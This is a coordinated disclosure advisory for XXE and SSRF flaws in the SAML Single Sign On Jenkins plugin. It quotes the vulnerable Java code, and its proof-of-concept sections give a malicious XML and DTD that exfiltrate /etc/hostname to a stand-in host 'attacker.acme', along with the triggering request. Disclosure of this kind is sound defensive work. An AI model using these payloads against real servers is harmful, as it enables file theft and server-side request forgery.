Coordinated Disclosure Timeline

Summary

SAML Single Sign On (SSO) Jenkins plugin 2.0.2 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks or server-side request forgery.

This allows authenticated attackers to send specific HTTP requests that force Jenkins to download and parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller, as well as server-side request forgery.

Product

SAML Single Sign On (SSO) for Jenkins

Tested Version

2.0.2

Details

Issue 1: XXE in MoIDPMetadata.java (GHSL-2023-055)

The SAML Single Sign On (SSO) Jenkins plugin implements a descriptor in the MoSAMLAddIdp class, which exposes a method doValidateMetadataUrl that is accessible via HTTP requests:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:1403

public FormValidation doValidateMetadataUrl(@QueryParameter String metadataUrl) throws Exception {
    String metadata = sendGetRequest(metadataUrl);
    try{
        List<String> metadataUrlValues = configureFromMetadata(metadata);
    }
    // --snip--
}

The user-provided query parameter metadataUrl is used in sendGetRequest to obtain a file from a remote server:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L625

public static String sendGetRequest(String url) {
    // --snip--
    CloseableHttpClient httpClient = getHttpClient();
    HttpGet getRequest = new HttpGet(url);
    org.apache.http.HttpResponse response = httpClient.execute(getRequest);
    // --snip--
    if (response.getStatusLine().getStatusCode() == 200 && response.getEntity() != null) {
        LOGGER.info("Response Entity found. Reading Response payload.");
        String data = EntityUtils.toString(response.getEntity(), StandardCharsets.UTF_8);
        LOGGER.info("Response payload: " + data);
        httpClient.close();
        return data;
   // --snip--
}

And the obtained file contents are passed to configureFromMetadata, which uses them to construct a MoIDPMetadataObject:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:653

public static List<String> configureFromMetadata(String metadata) throws Exception {

    List<String> metadataUrlValues = new ArrayList<String>();
    metadata = metadata.replaceAll("[^\\x20-\\x7e]", "");
    MoIDPMetadata idpMetadata = new MoIDPMetadata(metadata);

src/main/java/org/miniorange/saml/MoIDPMetadata.java#L39

public MoIDPMetadata(String metadata) {
  try {
      if (StringUtils.isNotBlank(metadata) && metadata.trim().startsWith("<") && metadata.trim().endsWith(">")) {
          this.metadata = StringUtils.trimToEmpty(metadata);
          MoSAMLUtils.doBootstrap();
          DOMParser parser = new DOMParser();
          parser.parse(new InputSource(new StringReader(this.metadata)));

As it can be seen, the file contents are parsed by an insecurely configured org.apache.xerces.parsers.DOMParser, which allows the resolution of external entities.

Note that there’s another path that exploits the same vulnerability, but using a local file instead, in the MoSAMLAddIdp$DescriptorImpl.doValidateMetadataFile method:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L1413

public FormValidation doValidateMetadataFile(@QueryParameter String metadataFilePath) throws Exception {
    String metadata = getMetadataFromFile(metadataFilePath);
    try{
        List<String> metadataUrlValues = configureFromMetadata(metadata);

Impact

This issue may lead to arbitrary file read, server-side request forgery, and denial of service.

PoC

To exploit this vulnerability, first a server hosting a malicious XML needs to be set up. The XML would look as follows:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "https://attacker.acme/test.dtd"> %xxe;]>
<foo>bar</foo>

To exfiltrate data through an OOB channel, we also host a DTD file on the same server:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'https://attacker.acme/?x=%file;'>">
%eval;
%exfiltrate;

With the server up an running, an authenticated attacker can make the following GET request to the Jenkins server (assuming a job test exists) to exploit the XXE:

http://localhost:8080/job/test/descriptorByName/org.miniorange.saml.MoSAMLAddIdp/validateMetadataUrl?metadataUrl=https://attacker.acme/test.xml

The attacker receives the content of the /etc/hostname file as a query parameter x at https://attacker.acme/.

Issue 2: SSRF in MoIDPMetadata.java (GHSL-2023-060)

THe SAML Single Sign On (SSO) Jenkins plugin implements a descriptor in the MoSAMLAddIdp class, which exposes a method doValidateMetadataUrl that is accessible via HTTP requests:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java:1403

public FormValidation doValidateMetadataUrl(@QueryParameter String metadataUrl) throws Exception {
    String metadata = sendGetRequest(metadataUrl);
    // --snip--
}

The user-provided query parameter metadataUrl is used in sendGetRequest without further validation to make a request to a remote server:

src/main/java/org/miniorange/saml/MoSAMLAddIdp.java#L625

public static String sendGetRequest(String url) {
    // --snip--
    CloseableHttpClient httpClient = getHttpClient();
    HttpGet getRequest = new HttpGet(url);
    org.apache.http.HttpResponse response = httpClient.execute(getRequest);
   // --snip--
}

Attackers could specify any URL in the medatadataUrl parameter to force Jenkins to make requests to arbitrary hosts.

Impact

This issue may lead to information disclosure.

PoC

To exploit this vulnerability, the following request could be made (assuming a job test has been created):

http://localhost:8080/job/test/descriptorByName/org.miniorange.saml.MoSAMLAddIdp/validateMetadataUrl?metadataUrl=(arbitrary url)

Resources

Credit

This issue was discovered and reported by CodeQL team member @atorralba (Tony Torralba).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-055 in any communication regarding this issue.